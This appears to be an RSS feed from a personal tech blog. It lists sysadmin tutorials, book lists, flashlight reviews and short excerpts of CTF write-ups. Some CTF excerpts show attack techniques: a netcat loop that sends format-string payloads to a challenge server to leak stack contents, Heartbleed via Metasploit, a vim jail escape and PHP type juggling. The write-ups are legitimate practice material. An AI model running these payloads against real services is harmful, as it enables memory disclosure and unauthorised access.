Combine and minify asset files CSS The test shows 7 different CSS requests, not a lot, but too much. Fortunately Hugo has integrated functions to combine multiple CSS files (slice) and minify them, so instead of loading multiple smaller files, browser can be provided with one big one.</description></item><item><title>eSecurity.rs CTF</title><link>/blog/2020-03-31-esecurity-dot-rs-ctf/</link><pubDate>Tue, 31 Mar 2020 12:35:19 +0200</pubDate><guid>/blog/2020-03-31-esecurity-dot-rs-ctf/</guid><description>Pastebin style!
http://hfl.esecurity.rs:8000
Warming UP 1 Flag format is always esecurity{xxxxx}.
Can you find the first flag? ZXNlY3VyaXR5e3dhcm1pbmdfdXB9
base64
The F word 2 We&amp;rsquo;ve found this strange code and we&amp;rsquo;re unsure what it is. Can you help us and decode it and recover the flag?
JSFuck
This txt file wont open? Hm. 2 Can you open this file?
On unixids (MacOS), nobody cares about extensions, magic bytes rule&amp;hellip;
Can you see us?</description></item><item><title>An Exclusive Key (crypto)</title><link>/blog/2020-03-30-247ctf-com-cryptography-an-exclusive-key/</link><pubDate>Mon, 30 Mar 2020 15:04:21 +0200</pubDate><guid>/blog/2020-03-30-247ctf-com-cryptography-an-exclusive-key/</guid><description>Intro This is my write-up of a Cryptography challenge An Exclusive Key on the CTF site 247CTF.com.
Instructions We XOR encrypted this file, but forgot to save the password. Can you recover the password for us and find the flag?
Howto The tool of choice for this assignment was xortool.
First idea was that the key was simply the flag. So as we know the structure of the flag, we can try a part of the key.</description></item><item><title>Hidden Flag Function Parameter (pwn)</title><link>/blog/2020-03-22-247ctf-com-pwnable-hidden-flag-function-parameter/</link><pubDate>Sun, 22 Mar 2020 17:29:20 +0100</pubDate><guid>/blog/2020-03-22-247ctf-com-pwnable-hidden-flag-function-parameter/</guid><description>Intro This is my write-up of a Pwnable challenge Hidden Flag Function Parameter on the CTF site 247CTF.com.
Instructions Can you control this applications flow to gain access to the hidden flag function with the correct parameters?
Howto This one is very similar to Hidden Flag Function, but as we can see in the instructions, we have to also pass the right parameters to get the flag.
I found a lot of good stuff here.</description></item><item><title>Trusted Client (web)</title><link>/blog/2020-03-22-247ctf-com-web-trusted-client/</link><pubDate>Sun, 22 Mar 2020 16:19:53 +0100</pubDate><guid>/blog/2020-03-22-247ctf-com-web-trusted-client/</guid><description>Intro This is my write-up of a Web challenge Trusted Client on the CTF site 247CTF.com.
Instructions Developers don&amp;rsquo;t always have time to setup a backend service when prototyping code. Storing credentials on the client side should be fine as long as it&amp;rsquo;s obfuscated right?
Code At the start of the challenge we get presented a website with login form. Inspecting the source code yields the following interesting part:
... &amp;lt;script&amp;gt; window.</description></item><item><title>The Impossible User (crypto)</title><link>/blog/2020-03-22-247ctf-com-cryptography-the-impossible-user/</link><pubDate>Sun, 22 Mar 2020 12:53:47 +0100</pubDate><guid>/blog/2020-03-22-247ctf-com-cryptography-the-impossible-user/</guid><description>Intro This is my write-up of a Cryptography challenge The Impossible User on the CTF site 247CTF.com.
Instructions This encryption service will encrypt almost any plaintext. Can you abuse the implementation to actually encrypt every plaintext?
Code from Crypto.Cipher import AES from flask import Flask, request from secret import flag, aes_key, secret_key app = Flask(__name__) app.config[&amp;#39;SECRET_KEY&amp;#39;] = secret_key app.config[&amp;#39;DEBUG&amp;#39;] = False flag_user = &amp;#39;impossible_flag_user&amp;#39; class AESCipher(): def __init__(self): self.key = aes_key self.</description></item><item><title>The Encrypted Flag (misc)</title><link>/blog/2020-03-21-247ctf-com-misc-the-encrypted-flag/</link><pubDate>Sat, 21 Mar 2020 19:03:41 +0100</pubDate><guid>/blog/2020-03-21-247ctf-com-misc-the-encrypted-flag/</guid><description>Intro This is my write-up of a Miscellaneous challenge The Encrypted Flag on the CTF site 247CTF.com.
Instructions We have had enough of everybody reading our flags. Since all of our cryptography implementations have been broken, we decided not to roll our own!
Howto First step is almost always checking what the file represents:
kali@kali:~$ file encrypted_flag.enc encrypted_flag.enc: openssl enc&amp;#39;d data with salted password We can see that it is an openssl encrypted data with salted password, but we have no idea which cipher and digest are used.</description></item><item><title>The Secret Lock (rev)</title><link>/blog/2020-03-16-247ctf-com-reversing-the-secret-lock/</link><pubDate>Mon, 16 Mar 2020 14:45:38 +0100</pubDate><guid>/blog/2020-03-16-247ctf-com-reversing-the-secret-lock/</guid><description>Intro This is my write-up of a Reversing challenge The Secret Lock on the CTF site 247CTF.com.
Instructions Can you reverse the secret combination to open the lock and recover the flag?
Howto I won&amp;rsquo;t go into details, basically it is a SAT solver problem. The thing I want to point out is that the most problems I&amp;rsquo;ve had with the python libraries.
The problem I got was:
NameError: name &amp;#39;BitVec&amp;#39; is not defined If you try to install z3 from pip, you will be unpleasantly surprised to find out that there are many z3 packages, and the first one is not the right tool for the job.</description></item><item><title>Confused Environment Read (pwn)</title><link>/blog/2020-02-27-247ctf-com-pwnable-confused-environment-read/</link><pubDate>Thu, 27 Feb 2020 18:05:03 +0100</pubDate><guid>/blog/2020-02-27-247ctf-com-pwnable-confused-environment-read/</guid><description>Intro This is my write-up of a Pwnable challenge Confused Environment Read on the CTF site 247CTF.com.
Instructions Can you abuse our confused environment service to read flag data hidden on the stack?
Howto kali@kali:~$ for i in range $(seq 0 100); do echo &amp;#34;%$i\$s&amp;#34; | nc b7dca240cf1fbf61.247ctf.com 50478; done Keep breaking up the command with ^C until you hit something interesting on the stack:
/home/notroot/chall HOSTNAME=b7dca240cf1f! HOME=/home/notroot PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin! PWD=/home/notroot! FLAG=247CTF{FLAG}!</description></item><item><title>Hidden Flag Function (pwn)</title><link>/blog/2020-02-27-247ctf-com-pwnable-hidden-flag-function/</link><pubDate>Thu, 27 Feb 2020 17:35:32 +0100</pubDate><guid>/blog/2020-02-27-247ctf-com-pwnable-hidden-flag-function/</guid><description>Intro This is my write-up of a Pwnable challenge Hidden Flag Function on the CTF site 247CTF.com.
Instructions Can you control this applications flow to gain access to the hidden flag function?
Some theory Selected x86 registers register what it’s for often seen eax general purpose carrying function return values ebx general purpose storing values when eax is already taken ecx general purpose doing the counting for a for loop edx general purpose joining with eax to store 64-bit numbers esi general purpose holding an address to copy bytes from edi general purpose holding an address to copy bytes to esp stack pointer holding the address of the stack frame top ebp frame pointer holding the address of the stack frame bottom eip instruction pointer holding the address of the current instruction flags flags keeping results of comparisons Source</description></item><item><title>Hidden Painting (misc)</title><link>/blog/2020-02-25-247ctf-com-misc-hidden-painting/</link><pubDate>Tue, 25 Feb 2020 13:45:17 +0100</pubDate><guid>/blog/2020-02-25-247ctf-com-misc-hidden-painting/</guid><description>Intro This is my write-up of a Misc challenge Hidden Painting on the CTF site 247CTF.com
Instructions We created a hidden painting which will lead you to the flag. Can you connect the dots and piece it back together?
Howto We get a file named secret_map.txt.
If we check the contents, we can see that it contains two columns of hexadecimal values. Are they the coordinates for our points?
$ head secret_map.</description></item><item><title>Compare the Pair (web)</title><link>/blog/2020-02-25-247ctf-com-web-compare-the-pair/</link><pubDate>Tue, 25 Feb 2020 07:30:12 +0100</pubDate><guid>/blog/2020-02-25-247ctf-com-web-compare-the-pair/</guid><description>Intro This is my write-up of a Web challenge Compare the Pair on the CTF site 247CTF.com
Instructions Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right?
Howto &amp;lt;?php require_once(&amp;#39;flag.php&amp;#39;); $password_hash = &amp;#34;0e902564435691274142490923013038&amp;#34;; $salt = &amp;#34;f789bbc328a3d1a3&amp;#34;; if(isset($_GET[&amp;#39;password&amp;#39;]) &amp;amp;&amp;amp; md5($salt . $_GET[&amp;#39;password&amp;#39;]) == $password_hash){ echo $flag; } echo highlight_file(__FILE__, true); ?&amp;gt; Initial thoughts Type juggling Type juggling a feature found in various programming languages, but specifically in PHP.</description></item><item><title>Secured Session (web)</title><link>/blog/2020-02-24-247ctf-com-web-secured-session/</link><pubDate>Mon, 24 Feb 2020 16:30:57 +0100</pubDate><guid>/blog/2020-02-24-247ctf-com-web-secured-session/</guid><description>Intro This is my write-up of a Web challenge Secured Session on the CTF site 247CTF.com
Instructions If you can guess our random secret key, we will tell you the flag securely stored in your session.
Howto The site provides you with some python code:
import os from flask import Flask, request, session from flag import flag app = Flask(__name__) app.config[&amp;#39;SECRET_KEY&amp;#39;] = os.urandom(24) def secret_key_to_int(s): try: secret_key = int(s) except ValueError: secret_key = 0 return secret_key @app.</description></item><item><title>Error Reporting Protocol (net)</title><link>/blog/2020-02-16-247ctf-com-networking-error-reporting-protocol/</link><pubDate>Sun, 16 Feb 2020 17:33:50 +0100</pubDate><guid>/blog/2020-02-16-247ctf-com-networking-error-reporting-protocol/</guid><description>Intro This is my write-up of a Networking challenge Error Reporting Protocol on the CTF site 247CTF.com.
Instructions Can you identify the flag hidden within the error messages of this ICMP traffic?
Howto There is a whole world of data hiding inside ICMP traffic, there are even solutions to push whole internet access via ICMP traffic.
https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Data
Open the tcpdump in Wireshark. We can se &amp;ldquo;JFIF&amp;rdquo; in the data part of the responses, so we assume JPEG image.</description></item><item><title>The More The Merrier (rev)</title><link>/blog/2020-02-16-247ctf-com-reversing-the-more-the-merrier/</link><pubDate>Sun, 16 Feb 2020 17:29:53 +0100</pubDate><guid>/blog/2020-02-16-247ctf-com-reversing-the-more-the-merrier/</guid><description>Intro This is my write-up of a Reversing challenge The More The Merrier on the CTF site 247CTF.com.
Instructions One byte is great. But what if you need more? Can you find the flag hidden in this binary?
Howto You get a binary file that needs to be opened with hex editor. Flag is burried inside.</description></item><item><title>Sensitive Server Memory (misc)</title><link>/blog/2020-02-16-247ctf-com-misc-sensitive-server-memory/</link><pubDate>Sun, 16 Feb 2020 13:07:12 +0100</pubDate><guid>/blog/2020-02-16-247ctf-com-misc-sensitive-server-memory/</guid><description>Intro This is my write-up of a Misc challenge Sensitive Server Memory on the CTF site 247CTF.com.
Instructions The webserver for this challenge is storing sensitive data in memory. Can you read it? Did anybody patch since 2014?
Howto The greatest bug of 2014 was Heartbleed, so lets start with that.
Spin up your Kali Linux and enter Metasploit.
kali@kali:~$ msfconsole [-] ***rting the Metasploit Framework console...| [-] * WARNING: No database support: No database YAML file [-] *** IIIIII dTb.</description></item><item><title>An Impossible Number (misc)</title><link>/blog/2020-02-16-247ctf-com-misc-an-impossible-number/</link><pubDate>Sun, 16 Feb 2020 12:58:19 +0100</pubDate><guid>/blog/2020-02-16-247ctf-com-misc-an-impossible-number/</guid><description>Intro This is my write-up of a Misc challenge An Impossible Number on the CTF site 247CTF.com
Instructions Can you think of a number which at the same time is one more than itself?
Howto The site provides you with C source code:
impossible_number.c #include &amp;lt;stdio.h&amp;gt; int main() { int impossible_number; FILE *flag; char c; if (scanf(&amp;#34;%d&amp;#34;, &amp;amp;impossible_number)) { if (impossible_number &amp;gt; 0 &amp;amp;&amp;amp; impossible_number &amp;gt; (impossible_number + 1)) { printf(&amp;#34;You did it!</description></item><item><title>The Text Editor Jail (misc)</title><link>/blog/2020-02-16-247ctf-com-misc-the-text-editor-jail/</link><pubDate>Sun, 16 Feb 2020 12:51:55 +0100</pubDate><guid>/blog/2020-02-16-247ctf-com-misc-the-text-editor-jail/</guid><description>Intro This is my write-up of a Misc challenge The Text Editor Jail on the CTF site 247CTF.com.
Instructions We didn&amp;rsquo;t have time to setup and test a proper jail, so this text editor will have to do for now. Can you break free?
Howto When we open the site, we can see that we are inside VIM editor.
If you don&amp;rsquo;t know, you can execute arbitrary shell commands inside VIM.</description></item><item><title>My Magic Numbers (crypto)</title><link>/blog/2020-02-16-247ctf-com-cryptography-my-magic-numbers/</link><pubDate>Sun, 16 Feb 2020 12:43:30 +0100</pubDate><guid>/blog/2020-02-16-247ctf-com-cryptography-my-magic-numbers/</guid><description>Intro This is my write-up of a Cryptography challenge My Magic Numbers on the CTF site 247CTF.com.
Instructions Can you recover the secret XOR key we used to encrypt the flag?
Magic numbers Magic numbers or magic bytes are usually used to tell the operating system what kind of a file it is dealing with.
https://en.wikipedia.org/wiki/Magic_number_(programming)#In_files https://en.wikipedia.org/wiki/List_of_file_signatures
A JPG file typically has magic number:
FF D8 DD E0 FF D8 FF DB FF D8 FF E1 FF D8 FF E0 00 10 4A 46 49 46 00 01 FF D8 FF E0 XOR rules https://en.</description></item><item><title>Little Story of Lifelong Learning and ssh-add</title><link>/blog/2020-01-30-little-story-of-lifelong-learning-and-ssh-add/</link><pubDate>Thu, 30 Jan 2020 08:18:52 +0100</pubDate><guid>/blog/2020-01-30-little-story-of-lifelong-learning-and-ssh-add/</guid><description>This is a nifty little story that happened a while ago, about a man that thought he was somewhat marvelous in Linux.
It goes like this…
There was a man, working with computers, various Linux servers to be exact. So as years passed by, he learned, that instead of entering passwords to connect to the servers via SSH, he could set up the magic ssh-keys, also the security will be better they said.</description></item><item><title>Journaling With LaTeX</title><link>/blog/2020-01-21-journaling-with-latex/</link><pubDate>Tue, 21 Jan 2020 07:24:12 +0100</pubDate><guid>/blog/2020-01-21-journaling-with-latex/</guid><description>Intro Lately I have been looking into journaling again. I am working on my 5 minute journal for a while now, but I wanted to extend it. As a coincidence, my friend &amp;ldquo;watts&amp;rdquo; pointed out his solution and I have jumped into it.
Journaling Tools LaTeX Vim UltiSnips vimtex Stoic quotes 5 minute journal displays a random stoic quote for every day. To emulate that we can use the fortune program with additional stoic quotes, found here.</description></item><item><title>Enable rng-tools on VPS</title><link>/blog/2020-01-09-enable-rng-tools-on-vps/</link><pubDate>Thu, 09 Jan 2020 11:01:00 +0100</pubDate><guid>/blog/2020-01-09-enable-rng-tools-on-vps/</guid><description>The problem with virtual servers is that some programs expect hardware support. One of them is the use of randomization with rng-tools.
We install the package:
sudo apt-get install rng-tools But it will not start and log does a wonderful job with the explanation of the problem:
journalctl -xe -- The job identifier is 2709090. Jan 09 10:57:30 sablun.org rng-tools[30827]: Starting Hardware RNG entropy gatherer daemon: (Hardware RNG device inode not found) Jan 09 10:57:30 sablun.</description></item><item><title>Basic Folder Gallery in Hugo</title><link>/blog/2020-01-08-basic-folder-gallery-in-hugo/</link><pubDate>Wed, 08 Jan 2020 08:31:18 +0100</pubDate><guid>/blog/2020-01-08-basic-folder-gallery-in-hugo/</guid><description>Intro I needed a gallery, that could replace my Instagram account. We all know about privacy issues and stuff like that, so here is a little semi-solution. One, that provides simple image publishing, by dropping them in a specific folder.
TODO: Auto resize and compress everything in this folder via system cronjob.
Howto As a basis, I have used this article with some minor changes.
Create a shortcode:
themes/hugo-goa/layouts/shortcodes/foldergallery.html that contains:</description></item><item><title>Books of 2019</title><link>/blog/2020-01-07-books-of-2019/</link><pubDate>Tue, 07 Jan 2020 09:22:12 +0100</pubDate><guid>/blog/2020-01-07-books-of-2019/</guid><description> The Book of PoC||GTFO - Laphroaig, Manul Killing Commendatore - Murakami, Haruki PoC or GTFO, Volume 2 &amp;ndash; Laphroaig, Manul Sodni dnevi - Čeferin, Peter Živi pesek - Persson Giolito, Malin This Is Going to Hurt: Secret Diaries of a Junior Doctor - Kay, Adam Lethal White (Cormoran Strike #4) - Galbraith, Robert Beartown (Beartown, #1) - Backman, Fredrik Us Against You (Beartown, #2) - Backman, Fredrik The Deal of a Lifetime - Backman, Fredrik Rework - Fried, Jason It Doesn&amp;rsquo;t Have to Be Crazy at Work - Fried, Jason Let My People Go Surfing: The Education of a Reluctant Businessman - Chouinard, Yvon Never Split the Difference: Negotiating As If Your Life Depended On It - Voss, Chris Babica vas pozdravlja in se opravičuje - Backman, Fredrik Britt-Marie Was Here - Backman, Fredrik Mož z imenom Ove - Backman, Fredrik Knife (Harry Hole, #12) - Nesbø, Jo Post Office - Bukowski, Charles Dolina rož - Golob, Tadej</description></item><item><title>Own Your Website Stats</title><link>/blog/2019-12-23-own-your-website-stats/</link><pubDate>Mon, 23 Dec 2019 09:29:16 +0100</pubDate><guid>/blog/2019-12-23-own-your-website-stats/</guid><description>Intro With current hot topic of ditching Google services wherever and whenever we can, we often forget about that little piece of JavaScript code embedded in most of modern internet websites. The short little code snippet is basis for Google Analytics and it helps us understand what is hot and what not on our site, so we can better adjust our content.
As always, data is valuable, and we should try to avoid giving it up to Google for free when possible.</description></item><item><title>Lamy 2000</title><link>/blog/2019-12-20-lamy-2000/</link><pubDate>Fri, 20 Dec 2019 08:55:16 +0100</pubDate><guid>/blog/2019-12-20-lamy-2000/</guid><description>There was a time, in my childhood, when, perhaps because I had been raised among books and booksellers, I dreamed of becoming a novelist. The root of my literary ambitions, apart from the marvellous simplicity with which one sees things at the age of five, lay in a prodigious piece of craftsmanship and precision that was exhibited in a fountain-pen shop on Calle Anselmo Clavé, just behind the Military Government building.</description></item><item><title>Upgrading VMware ESXi via SSH</title><link>/blog/2019-11-11-upgrading-vmware-esxi-via-ssh/</link><pubDate>Mon, 11 Nov 2019 08:08:44 +0100</pubDate><guid>/blog/2019-11-11-upgrading-vmware-esxi-via-ssh/</guid><description>This knowledge was brought to you by Guru.
Intro Howto Enable SSH access.
Check the version you are using.
[root@localhost:~] esxcli system version get [root@localhost:~] esxcli software profile get Allow httpClient through firewall.
[root@localhost:~] esxcli network firewall ruleset set -e true -r httpClient Put the host into maintenance mode.
Check for the new versions.
[root@localhost:~] esxcli software sources profile list -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml | grep ESXi-6.7.0 Upgrade.
[root@localhost:~] esxcli software profile update -d https://hostupdate.</description></item><item><title>Lumintop EDC18</title><link>/blog/2019-10-22-lumintop-edc18/</link><pubDate>Tue, 22 Oct 2019 08:53:33 +0200</pubDate><guid>/blog/2019-10-22-lumintop-edc18/</guid><description>NLD: Lumintop EDC18 SST-20 4000K
Iteracija opevane FW3A v klasicni preobleki, s stranskim gumbom in magnetnim koncem.
Super in globoka zaponka za pas Barva LEDic je odlicna, zgleda da res dobi Lumintop nekaj premium izbire, ali pa je to samo slucajno Logotip zajcka na gumbu sveti v temi, mislim noro Bezel je zgolj privijacen na svetilko (cakam vmesni clen, ki sveti v temi - glow gasket) Anduril in vsi njegovi bonboncki Odlicna in nizka svetilnost na najmanjsi moci Difuzor Lumintop ima se vedno eno izmed boljsih anodizacij, cudovita crna mat barva Ceprav je gumb precej izbocen, je tudi dokaj trd, tako da dvomim da se bi slucajno prizgala v zepu, vseeno pa je mozen zakelp z odvijanjem glave oz elektronsko s kliki, kar priporocam pri shranjevanju in neuporabi.</description></item><item><title>Zebralight SC64c LE</title><link>/blog/2019-10-16-zebralight-sc64c-le/</link><pubDate>Wed, 16 Oct 2019 09:39:29 +0200</pubDate><guid>/blog/2019-10-16-zebralight-sc64c-le/</guid><description>Intro The best 18650 city EDC.
Official site
Official user guide
Review Pros Great tint Great beam profi;e Great spot vs flood ratio for EDC Long runtime Really small form factor for the 18650 powered light Lightweight Great UI Nicely lubed from the factory Super grip, even if it does not look like it from the pictures as there almost is no knurling I guess it is not a limited edition anymore Best moonlight modes Full power until the battery is really low I love the minimalistic package with no plastic, only cardboard Cons If you need a throwy light, pick the HI version Clip could be better, if you remove it, there is a part that sticks out and it is pretty sharp.</description></item><item><title>InfluxDB Data Retention</title><link>/blog/2019-10-10-influxdb-data-retention/</link><pubDate>Thu, 10 Oct 2019 09:24:16 +0200</pubDate><guid>/blog/2019-10-10-influxdb-data-retention/</guid><description>Setting up 1 year data retention policy on existing database. Data older than 1 year will automatically drop out.
# influx Connected to http://localhost:8086 version 1.7.8 InfluxDB shell version: 1.7.8 &amp;gt; Select the database you want to modify
&amp;gt; use telegraf Using database telegraf &amp;gt; &amp;gt; show retention policies; name duration shardGroupDuration replicaN default ---- -------- ------------------ -------- ------- autogen 0s 168h0m0s 1 true &amp;gt; &amp;gt; alter retention policy &amp;#34;autogen&amp;#34; on &amp;#34;telegraf&amp;#34; duration 52w shard duration 168h default &amp;gt; Empty prompt means successful change.</description></item><item><title>XIBO Linux Client Primer</title><link>/blog/2019-10-07-xibo-linux-client-primer/</link><pubDate>Mon, 07 Oct 2019 12:12:06 +0200</pubDate><guid>/blog/2019-10-07-xibo-linux-client-primer/</guid><description>This knowledge was brought to you by Guru.
Intro XIBO is a popular open source digital signage solution. if you want to save some money and avoid using Microsoft Windows on the signage clients, here you go.
From version 1.8.12, XIBO signing CMS supports Linux clients. Some specific settings are still not implemented, but with time they should be. Here is a little tutorial how to set all up, you can use it to supplement the official documentation.</description></item><item><title>XIBO DataSet SSL Problems</title><link>/blog/2019-09-12-xibo-dataset-ssl-problems/</link><pubDate>Thu, 12 Sep 2019 13:44:26 +0200</pubDate><guid>/blog/2019-09-12-xibo-dataset-ssl-problems/</guid><description>This knowledge was brought to you by Guru.
Intro What does one do, when API website does not provide full SSL certificate chain?
This info is for default docker installed XIBO on Debian 10.
The error When trying to create new Data Set obtained from some https API, I have stumbled upon this error:
Unable to reach Forecast API: cURL error 60: SSL certificate problem: unable to get local issuer certificate (see http://curl.</description></item><item><title>Monitoring B2 bucket sizes with Check-MK</title><link>/blog/2019-08-28-monitoring-b2-bucket-size-with-check-mk/</link><pubDate>Wed, 28 Aug 2019 09:29:18 +0200</pubDate><guid>/blog/2019-08-28-monitoring-b2-bucket-size-with-check-mk/</guid><description>This knowledge was brought to you by Guru.
Intro Here in front of you lies a little check for B2 bucket sizes that I hacked together for use in our company. We are using Backblaze/B2 extensively for storage and backups. So it is very useful to know if data usage drops or raises significantly, as that could be an early indication that something is not going well and it should be checked by someone.</description></item><item><title>Upgrading to Debian 10 - Buster</title><link>/blog/2019-07-08-upgrading-to-debian-10-buster/</link><pubDate>Mon, 08 Jul 2019 09:16:09 +0200</pubDate><guid>/blog/2019-07-08-upgrading-to-debian-10-buster/</guid><description>Intro After 25 months of development the Debian project is proud to present its new stable version 10 (code name buster), which will be supported for the next 5 years thanks to the combined work of the Debian Security team and of the Debian Long Term Support team.
Important stuff first, Buster is a dog, from Toy Story movies. Andy recieves it as a Christmas present.
Howto Read the release notes, yeah long peice of text, but well worth it to avoid problems with your puppies.</description></item><item><title>Slovenian language for Pi-Star</title><link>/blog/2019-06-28-slovenian-language-for-pi-star/</link><pubDate>Fri, 28 Jun 2019 08:22:33 +0200</pubDate><guid>/blog/2019-06-28-slovenian-language-for-pi-star/</guid><description>I am happy to inform you that my latest night project is live.
The Pi-Star DMR software interface was translated to Slovenian language.
If you update your board, you can select it in the configuration section.
Pi-Star homepage</description></item><item><title>List of Wi-Fi Channels for CAPSMAN (RouterOS - Mikrotik)</title><link>/blog/2019-06-12-list-of-wifi-channels-for-routeros/</link><pubDate>Wed, 12 Jun 2019 07:32:12 +0200</pubDate><guid>/blog/2019-06-12-list-of-wifi-channels-for-routeros/</guid><description>Intro As CAPSMAN on Miktorik has no channels predefined, here is internet salvaged quick and dirty list of commands to set them up on your device. Sure if you do not define them, RouterOS selects the &amp;ldquo;most appropriate&amp;rdquo; one, unfortunatly the automatic selection does not really work all that well.
Be advised that legal availability of the channels is tied to your country law, so check them out before planning the network.</description></item><item><title>DMR Zones and Channels</title><link>/blog/2019-06-04-dmr-zones-and-channels/</link><pubDate>Tue, 04 Jun 2019 12:06:46 +0200</pubDate><guid>/blog/2019-06-04-dmr-zones-and-channels/</guid><description>Intro A little write up on the quest of finding ideal zone/channel configuration for ham radio DMR network.
Options for arranging channels into zones for hamradio DMR, that I am aware of are listed here.
Additionally I use analog simplex zone, DMR simplex zone, ARON zone, etc.
You can find my template codeplug here.
Region based Zone: LJ (Ljubljana)
CH:
KRIM S5 KRIM L KRIM LJ KRIM A KRVAVEC S5 KRVAVEC L KRVAVEC LJ KRVAVEC A LJ CENTER S5 LJ CENTER L LJ CENTER LJ ZAG.</description></item><item><title>From pathogen to native vim package loading via yadm</title><link>/blog/2019-05-30-from-pathogen-to-native-vim-package-loading-via-yadm/</link><pubDate>Thu, 30 May 2019 08:22:57 +0200</pubDate><guid>/blog/2019-05-30-from-pathogen-to-native-vim-package-loading-via-yadm/</guid><description>Intro With version 8, our favourite editor Vim got support for native third-party package loading. For me this means I can ditch plugin helper Pathogen. The path we took was great but a bright future lies ahead with our seperate ways.
This little tutorial contains detailed steps to migrate your existing plugins from Pathogen to native package manager in Vim. On our way, we will adjust the settings of dot git repository, for which we use the magnificent yadm.</description></item><item><title>Mikrotik Site-to-Site IPSEC VPN Tunnel</title><link>/blog/2019-05-16-mikrotik-site-to-site-ipsec-vpn-tunnel/</link><pubDate>Thu, 16 May 2019 20:35:48 +0200</pubDate><guid>/blog/2019-05-16-mikrotik-site-to-site-ipsec-vpn-tunnel/</guid><description>This knowledge was brought to you by Guru.
Intro This is a rough draft for personal reference, maybe something will be made of it one day&amp;hellip;
RouterOS version 6.44 and later.
Encryption Proposal Auth. Algorithms: sha256 Encr. Algorithms: aes-256-cbc Lifetime 30m PFS Group mod 2048 Peers Exchange mode: IKEv2 IPsec Profile Hash Algorithm: sha256 Encryption Algorithm: aes-256 DH Group: modp2048 Lifetime: 1d Site (static IP) to site (static IP) Site (static IP) to site (dynamic IP) Site (dynamic IP) to site (dynamic IP) Router 1 and 2 tert IP Cloud is used as a dynamic DNS system for lookup of remote site’s public IP.</description></item><item><title>Ignoring Atlassian Confluence Security Advisories?</title><link>/blog/2019-04-19-ignoring-atlassian-confluence-security-advisories/</link><pubDate>Fri, 19 Apr 2019 08:35:07 +0200</pubDate><guid>/blog/2019-04-19-ignoring-atlassian-confluence-security-advisories/</guid><description>Intro A few days ago, a client contacted us with the problem of 502 error on their Atlassian Confluence instance. They are running their own instance of Atlassian Jira and Confluence, that are not updated regularly, despite out best efforts to motivate them to do so.
As good sysops do, we hit the helicopter and dropped into the issue by ropes (as freaking commandos). Basically you quickly lear how dependant the client is on the software, when it does not work.</description></item><item><title>AWS Monitoring in Check_MK</title><link>/blog/2019-03-20-check-mk-aws-monitoring/</link><pubDate>Wed, 20 Mar 2019 14:32:23 +0100</pubDate><guid>/blog/2019-03-20-check-mk-aws-monitoring/</guid><description>Intro A new addition to Check_MK is the ability to monitor AWS infrastructure and cost.
Updating Check_MK You need at least Check_MK version 1.5.0. We will pull the new package and install it on Debian instance.
# wget https://mathias-kettner.de/support/1.5.0p12/check-mk-raw-1.5.0p12_0.stretch_amd64.deb # dpkg -i check-mk-raw-1.5.0p12_0.stretch_amd64.deb # su - sitename OMD[sitename]:~$ omd stop OMD[sitename]:~$ omd update OMD[sitename]:~$ omd start Monitoring Follow the official instructions here.
The instructions have one error though:
CRIT - AWSSectionsUSEast: An error occurred (AccessDeniedException) when calling the GetCostAndUsage operation: User: arn:aws:iam::9999999:user/check-mk is not authorized to perform: ce:GetCostAndUsage on resource: arn:aws:ce:us-east-1:9999999:/GetCostAndUsageCRIT, AWSSectionsGeneric: No exceptions If you stumble upon it, edit the created IAM policy in AWS, by adding the &amp;quot;ce:*&amp;quot;:</description></item><item><title>DKIM key rotation with rspamd</title><link>/blog/2019-03-12-dkim-key-rotation-with-rspamd/</link><pubDate>Tue, 12 Mar 2019 12:08:00 +0100</pubDate><guid>/blog/2019-03-12-dkim-key-rotation-with-rspamd/</guid><description>Intro As with your house keys, DKIM keys should be carefully protected. In contrast to house keys, you can&amp;rsquo;t really know you have lost DKIM keys for your server and need to replace them. Best practices state that it is best to rotate the keys at least every three months.
Picking a new selector Pick a new selector, one that you have never used before, or one you have not used in previous rotation.</description></item><item><title>Dovecot 2.3 upgrade on Debian</title><link>/blog/2019-02-25-dovecot_2.3_upgrade_on_debian/</link><pubDate>Mon, 25 Feb 2019 08:00:06 +0100</pubDate><guid>/blog/2019-02-25-dovecot_2.3_upgrade_on_debian/</guid><description>Converting the old configuration to the new one, if you are lucky, everything will work after restart. If you are not, continue reading below.
doveconf -Pn &amp;gt; dovecot-new-2.3.conf Editing the config vim /etc/dovecot.conf Delete or comment out the ssl_dh_parameters_length:
#ssl_dh_parameters_length = 2048 Replace ssl_protocols with ssl_min_protocol,:
#ssl_protocols = !SSLv3 ssl_min_protocol = TLSv1.2 Support for non-ECC DH algorithms Since Dovecot v2.3.3 this setting has been made optional, but if you still want to support it, here are the steps.</description></item><item><title>Testing Mail Server SSL</title><link>/blog/2019-02-12-testing-mail-server-ssl/</link><pubDate>Tue, 12 Feb 2019 09:42:51 +0100</pubDate><guid>/blog/2019-02-12-testing-mail-server-ssl/</guid><description>Intro When deploying new SSL certificates on the mail server, this is my prefered way of thesting them.
Testing Testing the SSL certificates provided by the server can be done on any Linux, macOS, unix like machine by using openssl.
IMAP via SSL Port: 993
# openssl s_client -showcerts -connect mail.example.com:993 POP3 via SSL Port: 995
# openssl s_client -showcerts -connect mail.example.com:995 SMTP via SSL Port: 465
# openssl s_client -showcerts -connect mail.</description></item><item><title>Books of 2018</title><link>/blog/2019-01-07-books-of-2018/</link><pubDate>Mon, 07 Jan 2019 09:22:12 +0100</pubDate><guid>/blog/2019-01-07-books-of-2018/</guid><description> Tat not - Gracar, Blaž Po poti zla (Cormoran Strike, #3) - Galbraith, Robert You Have Too Much Shit - Chris, THOMAS Goodbye, Things: The New Japanese Minimalism - Sasaki, Fumio Vas jebe ego? - Divković, Ingrid The Redbreast (Harry Hole, #3) - Nesbø, Jo Want You Gone (Jack Parlabane, #8) - Brookmyre, Christopher A Man and His Watch: Iconic Watches and Stories from the Men Who Wore Them - Hranek, Matt Odrešenik (Harry Hole #6) - Nesbø, Jo Snežak (Harry Hole #7) - Nesbø, Jo The Leopard (Harry Hole, #8) - Nesbø, Jo Phantom (Harry Hole, #9) - Nesbø, Jo Police (Harry Hole, #10) - Nesbø, Jo Žeja - Nesbø, Jo The Devil&amp;rsquo;s Star (Harry Hole, #5) - Nesbø, Jo The Total Money Makeover: A Proven Plan for Financial Fitness - Ramsey, Dave Figa - Vojnović, Goran Jugoslavija, moja dežela - Vojnović, Goran Nespodobni odvetnik - Golob, Tadej Knjiga o Baltimorskih - Dicker, Joël Leninov park - Golob, 